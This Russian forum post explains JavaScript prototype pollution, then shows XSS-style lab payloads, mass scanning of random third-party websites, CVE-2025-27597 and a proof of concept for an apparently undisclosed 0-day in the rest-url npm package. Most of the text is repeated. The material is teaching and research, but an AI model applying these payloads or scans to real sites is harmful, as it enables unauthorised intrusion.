Эксклюзивно для форума LIMB.cc
Чтобы сложить представление об уязвимости загрязнения прототипа, сделаем небольшое теоретическое погружение в JavaScript.
JavaScript проектировался как прототипно-ориентированный язык, в нём существуют объекты и примитивы: у примитивов нет состояния, нет методов, нет внутренней структуры, а у объектов - есть. Но даже примитивы (string, boolean, bigint, symbol, null, undefined) могут вести себя как объекты благодаря механизму обёртки, и в итоге можно обратиться к "hello".toUpperCase() (то есть string + метод).
Примитивы - копируются по значению, объекты - передаются по ссылке (адресу). Потому что первые - лёгковесные, а вторые - большие и сложные.
При этом JavaScript был разработан в крайне сжатые сроки - типа недели:
Википедия очень хорошо раскрывает, что такое прототипно-ориентированный язык на примерах.
Модель наследования в JS примерно такова. Каждый объект в JS имеет связь с другим объектом, называемым прототипом. Прототип объекта - это ссылка на другой объект, от которого он наследуется. Каждый объект наследует от прототипа. Таким образом, прототип самого прототипа также имеет прототип.
На примере.
Создадим массив (массив - это объект, поскольку не примитив; всё, что не примитив, - это объект):
Вызовем метод (то же, что и функция, только в контексте объекта) slice()
Откуда взялся slice? Из конструктора Array. Конструктор Array имеет объект-прототип Array.prototype. Вся цепочка такова - numbers ---> Array.prototype ---> Object.prototype ---> null
Суть в том, что этот ворох методов можно изменить динамически в рантайме (то есть когда приложение уже запущено и работает).
Везде, где будет вызван метод slice, вместо оригинального кода будут показаны ослики; подобное переопределение в продакшене, скорее всего, крашнет всё приложение.
Можно переопределить slice для конкретного массива, а не глобально:
То есть, если у нас есть объект user, и там задано isAdmin: false, то это меняется через user.__proto__.isAdmin = true, и при следующем вызове получается аккаунт с максимальными привилегиями.
Резюмируя: всё - просто объекты. Всё можно переписать.
JavaScript изначально разработан как язык для браузера; впоследствии стал популярным решением для серверного использования. Загрязнение прототипа может быть на клиентском и серверном уровне.
Терминология справедлива для двух типов:
Источник - локация, в которой происходит передача потока данных, контролируемая пользователем, в приложение.
Гаджет - это такой участок, который позволяет выполнить некое действие; можно сказать, что это объект, непосредственно в котором идёт пейлод.
Синк - это точка приложения, которая отображает или выполняет данные, которые через источник были пролиты в гаджет.
Клиенсткие примеры из списка - https://portswigger-labs.net/dom-invader-prototype-pollution/testcases/
На примере - https://portswigger-labs.net/dom-invader-prototype-pollution/testcases/prototype-pollution-query-string-gadget/
Источник берётся из параметров запроса - new URL(location);
Гаджетом выступает функция - deparam(params.toString()), она превращает URL‑параметры в объект;
Её задумка в том, что параметры запроса - это очень сложная строка типа ?filter[price][min]=10&filter[tags][]=a&filter[tags][]=b; И превратить её в { filter: { price: { min: "10" }, tags: ["a","b"] } } может иметь смысл.
Синк - innerHTML;
Пейлод - ?__proto__htmл="%27><img+src+onerror%3Dalert%281%29>
Или тут - https://portswigger-labs.net/dom-invader-prototype-pollution/testcases/prototype-pollution-postmessage-string/
Источник - window.addEventListener('message')
Гаджет - JSON.parse() + $.extend(true, {}, data)
Синк - eval()
Тут же - https://portswigger-labs.net/dom-invader-prototype-pollution/testcases/prototype-pollution-simple-function/
Источник снова берётся из параметров запроса - new URL(location);
Гаджетом выступает функция - deparam
А синком - innerHTML;
Но пейлод - __proto__[tester]=alert%281%29
Поскольку
if(o.tester) {
Function(o.tester)();
}
Автоматический поиск client-side prototype pollution через Burp Suite.
Из практики: тестирование случайной выборки сайтов на client-side prototype pollution крайне неэффективно.
Тест 1 - Dom Invaider
Взяты случайные 25 сайтов и вручную потыканы разные точки приложения - 0 найденных уязвимостей.
Тест 2 - Dom Invaider
Возьмём точки, которые потенциально могут содержать уязимый код: строка ?filter.
Взяты 25 сайтов по дорке inurl:"?filter.php" (из мысли о том, что поскольку уязвимость клиентская, разбор параметров URL может происходить на фронте в реальном приложении).
0 найденных уязвимостей, однако случаи наличия источника вместе с синками встречались часто.
Нужно понимать, как работает Dom Invaider. DOM Invader фиксирует наличие источника и синка, но чтобы инструмент заявил «Prototype pollution found» или предложил «Test gadgets», он должен подтвердить, что цепочка передачи данных действительно существует и опасна - то есть данные из источника реально доходят до синка, и синк действительно может загрязнить прототип!
Тест 3 - ppmap (https://github.com/kleiton0x00/ppmap_)
Программа определяет разделитель (или его отсутствие), далее пробует инжектить пейлод и смотрит результат;
Взято 595 сайтов:
Прогон краулером katana с тайм-лимитом в 1 минуту;
Ссылки, содержащие ? в URL - 39 769;
С каждого домена (поддомены считаются уникальными) случайно взята одна ссылка - 662 случайных ссылки.
Уязвимостей, обнаруженных ppmap - 0.
Попробуем Server Side :) с конкретными библиотеками!
Разберём на примере CVE-2025-27597
У неё очень яркий PoC - github.com/intlify/vue-i18n/security/advisories/GHSA-p2ph-7g93-hw3m
Из него понятно, что источником служит строка {"__proto__.pollutedKey": "pollutedValue"}
(в реальном приложении это любой вход, который приложение передаёт в handleFlatJson - JSON из сети, файл, пользовательский ввод)
Гаджет - функция handleFlatJson (по мокам можно понять, что в ней происходит)
Синк - любой последующий код, который будет использовать (в рамках PoC это delete Object.prototype.pollutedKey)
Попробуем найти 0-day.
Где ищем? В парсерах URL, а именно в любом коде, который берёт пользовательский ввод и приводит его к объекту.
Возможно https://www.npmjs.com/package/@hyunjun19/rest-url ?
Ага, в библиотеке неуловимого Джо действительно есть 0-day, разберёмся: https://github.com/hyunjun19/rest-url
Где? В Object.assign(mergedParam, searchParam, urlParam);
и в функции addMapValue
Исходя из логики in в коде, а именно const isExistKey = key in map;, а ключ __proto__ он всегда exist, мы попадаем в блок addArrayValue(map, key, decodedValue);, а значит наш объект становится фактически массивом, а значит это ограничивает эксплоатацию, и тем не менее; Сначала убедимся, что работает отравление прототипа:
Объект стал массивом и в его прототип были добавлены новые свойства. Добавим осликов:
Если бы addMapValue не полагалась на key in map и не упаковывала значение в массив через addArrayValue, то всё было бы просто, например addMapValue(target, '__proto__', { ... }).
Например, для
PoC:
В остальном всё сильно зависит от другого кода, присутствующего в приложении. Поскольку всё - объекты, всё можно переписать, но бездумное переписывание чего попало приведёт просто к слому приложения :)
Чтобы сложить представление об уязвимости загрязнения прототипа, сделаем небольшое теоретическое погружение в JavaScript.
JavaScript проектировался как прототипно-ориентированный язык, в нём существуют объекты и примитивы: у примитивов нет состояния, нет методов, нет внутренней структуры, а у объектов - есть. Но даже примитивы (string, boolean, bigint, symbol, null, undefined) могут вести себя как объекты благодаря механизму обёртки, и в итоге можно обратиться к "hello".toUpperCase() (то есть string + метод).
Примитивы - копируются по значению, объекты - передаются по ссылке (адресу). Потому что первые - лёгковесные, а вторые - большие и сложные.
При этом JavaScript был разработан в крайне сжатые сроки - типа недели:
Не удалось прогрузить медиа
Википедия очень хорошо раскрывает, что такое прототипно-ориентированный язык на примерах.
Модель наследования в JS примерно такова. Каждый объект в JS имеет связь с другим объектом, называемым прототипом. Прототип объекта - это ссылка на другой объект, от которого он наследуется. Каждый объект наследует от прототипа. Таким образом, прототип самого прототипа также имеет прототип.
На примере.
Создадим массив (массив - это объект, поскольку не примитив; всё, что не примитив, - это объект):
JavaScript:
const numbers = [10, 20, 30, 40, 50];
Вызовем метод (то же, что и функция, только в контексте объекта) slice()
JavaScript:
const newNumbers = numbers.slice(1, 4);
Откуда взялся slice? Из конструктора Array. Конструктор Array имеет объект-прототип Array.prototype. Вся цепочка такова - numbers ---> Array.prototype ---> Object.prototype ---> null
Не удалось прогрузить медиа
Суть в том, что этот ворох методов можно изменить динамически в рантайме (то есть когда приложение уже запущено и работает).
Не удалось прогрузить медиа
Везде, где будет вызван метод slice, вместо оригинального кода будут показаны ослики; подобное переопределение в продакшене, скорее всего, крашнет всё приложение.
Можно переопределить slice для конкретного массива, а не глобально:
Не удалось прогрузить медиа
То есть, если у нас есть объект user, и там задано isAdmin: false, то это меняется через user.__proto__.isAdmin = true, и при следующем вызове получается аккаунт с максимальными привилегиями.
Резюмируя: всё - просто объекты. Всё можно переписать.
JavaScript изначально разработан как язык для браузера; впоследствии стал популярным решением для серверного использования. Загрязнение прототипа может быть на клиентском и серверном уровне.
Терминология справедлива для двух типов:
Источник - локация, в которой происходит передача потока данных, контролируемая пользователем, в приложение.
Гаджет - это такой участок, который позволяет выполнить некое действие; можно сказать, что это объект, непосредственно в котором идёт пейлод.
Синк - это точка приложения, которая отображает или выполняет данные, которые через источник были пролиты в гаджет.
Клиенсткие примеры из списка - https://portswigger-labs.net/dom-invader-prototype-pollution/testcases/
На примере - https://portswigger-labs.net/dom-invader-prototype-pollution/testcases/prototype-pollution-query-string-gadget/
Не удалось прогрузить медиа
Источник берётся из параметров запроса - new URL(location);
Гаджетом выступает функция - deparam(params.toString()), она превращает URL‑параметры в объект;
Не удалось прогрузить медиа
Её задумка в том, что параметры запроса - это очень сложная строка типа ?filter[price][min]=10&filter[tags][]=a&filter[tags][]=b; И превратить её в { filter: { price: { min: "10" }, tags: ["a","b"] } } может иметь смысл.
Синк - innerHTML;
Пейлод - ?__proto__htmл="%27><img+src+onerror%3Dalert%281%29>
Или тут - https://portswigger-labs.net/dom-invader-prototype-pollution/testcases/prototype-pollution-postmessage-string/
Не удалось прогрузить медиа
Источник - window.addEventListener('message')
Гаджет - JSON.parse() + $.extend(true, {}, data)
Синк - eval()
Тут же - https://portswigger-labs.net/dom-invader-prototype-pollution/testcases/prototype-pollution-simple-function/
Источник снова берётся из параметров запроса - new URL(location);
Гаджетом выступает функция - deparam
А синком - innerHTML;
Но пейлод - __proto__[tester]=alert%281%29
Поскольку
if(o.tester) {
Function(o.tester)();
}
Не удалось прогрузить медиа
Автоматический поиск client-side prototype pollution через Burp Suite.
Спойлер: В идеальном случае
В Burp Suite в браузере, во вкладке Extensions, включаем расширение Burp Suite:
В окне DOM Invader, на вкладке Attack types, включаем тумблер Prototype pollution is on:
Открываем DevTools. Тестируем. Сканируем на наличие гаджетов:
Нажимаем «Эксплоит»:
Не удалось прогрузить медиа
В окне DOM Invader, на вкладке Attack types, включаем тумблер Prototype pollution is on:
Не удалось прогрузить медиа
Открываем DevTools. Тестируем. Сканируем на наличие гаджетов:
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Нажимаем «Эксплоит»:
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Из практики: тестирование случайной выборки сайтов на client-side prototype pollution крайне неэффективно.
Тест 1 - Dom Invaider
Взяты случайные 25 сайтов и вручную потыканы разные точки приложения - 0 найденных уязвимостей.
Тест 2 - Dom Invaider
Возьмём точки, которые потенциально могут содержать уязимый код: строка ?filter.
Взяты 25 сайтов по дорке inurl:"?filter.php" (из мысли о том, что поскольку уязвимость клиентская, разбор параметров URL может происходить на фронте в реальном приложении).
0 найденных уязвимостей, однако случаи наличия источника вместе с синками встречались часто.
Нужно понимать, как работает Dom Invaider. DOM Invader фиксирует наличие источника и синка, но чтобы инструмент заявил «Prototype pollution found» или предложил «Test gadgets», он должен подтвердить, что цепочка передачи данных действительно существует и опасна - то есть данные из источника реально доходят до синка, и синк действительно может загрязнить прототип!
Тест 3 - ppmap (https://github.com/kleiton0x00/ppmap_)
Программа определяет разделитель (или его отсутствие), далее пробует инжектить пейлод и смотрит результат;
Взято 595 сайтов:
Прогон краулером katana с тайм-лимитом в 1 минуту;
Ссылки, содержащие ? в URL - 39 769;
С каждого домена (поддомены считаются уникальными) случайно взята одна ссылка - 662 случайных ссылки.
Уязвимостей, обнаруженных ppmap - 0.
Попробуем Server Side :) с конкретными библиотеками!
Разберём на примере CVE-2025-27597
У неё очень яркий PoC - github.com/intlify/vue-i18n/security/advisories/GHSA-p2ph-7g93-hw3m
Из него понятно, что источником служит строка {"__proto__.pollutedKey": "pollutedValue"}
(в реальном приложении это любой вход, который приложение передаёт в handleFlatJson - JSON из сети, файл, пользовательский ввод)
Гаджет - функция handleFlatJson (по мокам можно понять, что в ней происходит)
Синк - любой последующий код, который будет использовать (в рамках PoC это delete Object.prototype.pollutedKey)
Попробуем найти 0-day.
Где ищем? В парсерах URL, а именно в любом коде, который берёт пользовательский ввод и приводит его к объекту.
Возможно https://www.npmjs.com/package/@hyunjun19/rest-url ?
Не удалось прогрузить медиа
Ага, в библиотеке неуловимого Джо действительно есть 0-day, разберёмся: https://github.com/hyunjun19/rest-url
Где? В Object.assign(mergedParam, searchParam, urlParam);
Не удалось прогрузить медиа
и в функции addMapValue
Не удалось прогрузить медиа
Исходя из логики in в коде, а именно const isExistKey = key in map;, а ключ __proto__ он всегда exist, мы попадаем в блок addArrayValue(map, key, decodedValue);, а значит наш объект становится фактически массивом, а значит это ограничивает эксплоатацию, и тем не менее; Сначала убедимся, что работает отравление прототипа:
JavaScript:
const MapModule = require('./dst/Map.js');
const addMapValue = MapModule.addMapValue || MapModule.default?.addMapValue || MapModule;
function log(name, val) { console.log(name, val); }
let target = {};
log('before prototype is array?', Array.isArray(Object.getPrototypeOf(target)));
log('before prototype keys of target:', Object.getOwnPropertyNames(Object.getPrototypeOf(target)));
addMapValue(target, '__proto__', 'first');
addMapValue(target, '__proto__', 'second');
addMapValue(target, '__proto__', 'third');
log('after prototype is array?', Array.isArray(Object.getPrototypeOf(target)));
log('after prototype keys of target:', Object.getOwnPropertyNames(Object.getPrototypeOf(target)));
log('Object.getPrototypeOf(target):', Object.getPrototypeOf(target));
Не удалось прогрузить медиа
Объект стал массивом и в его прототип были добавлены новые свойства. Добавим осликов:
JavaScript:
const MapModule = require('./dst/Map.js');
const addMapValue = MapModule.addMapValue || MapModule.default?.addMapValue || MapModule;
let target = {};
// 1) превратить прототип в массив
addMapValue(target, '__proto__', 'dummy');
const proto = Object.getPrototypeOf(target);
console.log('proto before:', proto);
// 2) добавить через addMapValue строку с кодом функции
const fnCode = 'function(){ return "🐴 ослики идут!"; }';
addMapValue(proto, 'sayDonkeys', fnCode);
// В этом моменте proto.sayDonkeys - строка
console.log('proto.sayDonkeys (type):', typeof proto.sayDonkeys, 'value:', proto.sayDonkeys);
// 3) превратить строку в функцию
try {
proto.sayDonkeys = eval('(' + proto.sayDonkeys + ')'); // превращаем в функцию
console.log('target.sayDonkeys():', target.sayDonkeys());
} catch (e) {
console.error('eval failed:', e);
}
Не удалось прогрузить медиа
Если бы addMapValue не полагалась на key in map и не упаковывала значение в массив через addArrayValue, то всё было бы просто, например addMapValue(target, '__proto__', { ... }).
Например, для
JavaScript:
function addMapValue(map, key, value) {
if (!key) return;
map[key] = value;
}
PoC:
JavaScript:
let target = {};
addMapValue(target, '__proto__', { sayDonkeys() { return 'ослик'; } });
console.log(target.sayDonkeys()); // "ослик"
В остальном всё сильно зависит от другого кода, присутствующего в приложении. Поскольку всё - объекты, всё можно переписать, но бездумное переписывание чего попало приведёт просто к слому приложения :)
👍34
🔥8
😮7
🤔6
😢2
💯9
LIMB